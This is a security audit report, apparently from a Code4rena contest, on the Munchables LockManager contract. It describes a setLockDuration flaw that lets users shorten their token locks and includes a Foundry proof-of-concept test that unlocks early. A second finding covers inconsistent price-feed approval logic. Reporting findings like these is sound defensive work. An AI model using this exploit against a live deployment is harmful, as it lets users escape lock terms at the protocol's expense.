Munchables - pfapostol's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L256-L268

Vulnerability details

Impact

1. It is possible to abuse the faulty logic of the setLockDuration function to reduce the lock time (almost to few seconds).
2. This vulnerability allow also to bypass the minimum contract lock time

Here is some high-quality graphics to better understand the current function logic in the time field

What happens is that when checking the validity of the new duration, the check is relative to the current timestamp. But duration is assigned according to initial lock time. Which allow you to reduce the lock time by amount of: >= unlock time - block.timestamp.

In practice we can reduce lock time by 2-5+ times (because of gas cost and continuity of time).

But teoretically it can be reduced to 1 second

Abstract example: the inial lock period is 10 * d seconds, where k is any discrete number.

After 1 * d seconds we call:

setLockDuration(9 * d seconds),

then setLockDuration(8 * d seconds),

... ,

then setLockDuration(1 * d seconds)

and we can unlock the tokens

Each time the total lock time reduced by the amount of time that has already passed, so the abstract formula looks like new lock time = old lock time - (X times * time passed)

Proof of Concept

• Contract use block.timestamp in check:

if (
                    uint32(block.timestamp) + uint32(_duration) <
                    lockedTokens[msg.sender][tokenContract].unlockTime
                ) {

• But lastLockTime in assignment:

lockedTokens[msg.sender][tokenContract].unlockTime =
                    lastLockTime +
                    uint32(_duration);

PoC uses setup that inherit from src/test/MunchablesTest.sol:

• setup

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.25;

import "src/test/MunchablesTest.sol";
import "forge-std/console2.sol";
import {LockManager} from "src/managers/LockManager.sol";

contract LockManagerAudit is MunchablesTest {
    address immutable USER_1 = makeAddr("USER_1");
    address immutable PLAYER_1 = makeAddr("PLAYER_1");

    function setUp() public override {
        deployContracts();
    }

• Vulnerability PoC: (Player unlock in half of his lock time and in half of minimum contract wide lock time)

function test_unlock_before_end_of_lock() public {
        uint32 lockDuration = 86400; // default for test

        vm.startPrank(PLAYER_1);
        amp.register(MunchablesCommonLib.Realm(3), USER_1);

        lm.setLockDuration(lockDuration);
        vm.deal(PLAYER_1, 11 ether);
        lm.lock{value: 1.5 ether}(address(0), 1.5 ether);
        lm.getLocked(PLAYER_1);

        skip(lockDuration / 2);
        vm.expectRevert(0xbd0ab71d); // ERROR: "TokenStillLockedError()"
        lm.unlock(address(0), 1.5 ether);

        lm.setLockDuration(lockDuration / 2);
        lm.unlock(address(0), 1.5 ether);
    }

Tools Used

Manual code review

Recommended Mitigation Steps

In setLockDuration check that user does not reduce initial lock period or, if it is allowed, check that user do not reduce lock time to be less than minimum contract wide lock time.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L194-L195 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L225-L228

Vulnerability details

Impact

For the Price feed, it is allowed approveUSDPrice to be called after disapproveUSDPrice was called, but not vice versa. This inconsistency is most likely incorrect:

1. if price feeds must to maintain their decision, it should not be possible to approve after disapprove,
2. if price feeds are allowed to change their mind, there should be possible to disapprove after approve.

Personally, I think the later option is more appropriate because a situation may arise where the price feed erroneously approves the wrong price (or the price undergoes a brief fluctuation before returning to normal, or someone manipulates the price, etc.).

Proof of Concept

• https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L194-L195

    function approveUSDPrice(
        uint256 _price
    )
        external
        onlyOneOfRoles(
            [
                Role.PriceFeed_1,
                Role.PriceFeed_2,
                Role.PriceFeed_3,
                Role.PriceFeed_4,
                Role.PriceFeed_5
            ]
        )
    {
        if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
        if (usdUpdateProposal.proposer == msg.sender)
            revert ProposerCannotApproveError();
        if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyApprovedError();

• https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L225-L228

function disapproveUSDPrice(
        uint256 _price
    )
        external
        onlyOneOfRoles(
            [
                Role.PriceFeed_1,
                Role.PriceFeed_2,
                Role.PriceFeed_3,
                Role.PriceFeed_4,
                Role.PriceFeed_5
            ]
        )
    {
        if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
        if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyApprovedError();
        if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyDisapprovedError();

Tools Used

Manual Review

Recommended Mitigation Steps

I think it's preferable to allow the price feed to change its mind in any direction.

Assessed type

Access Control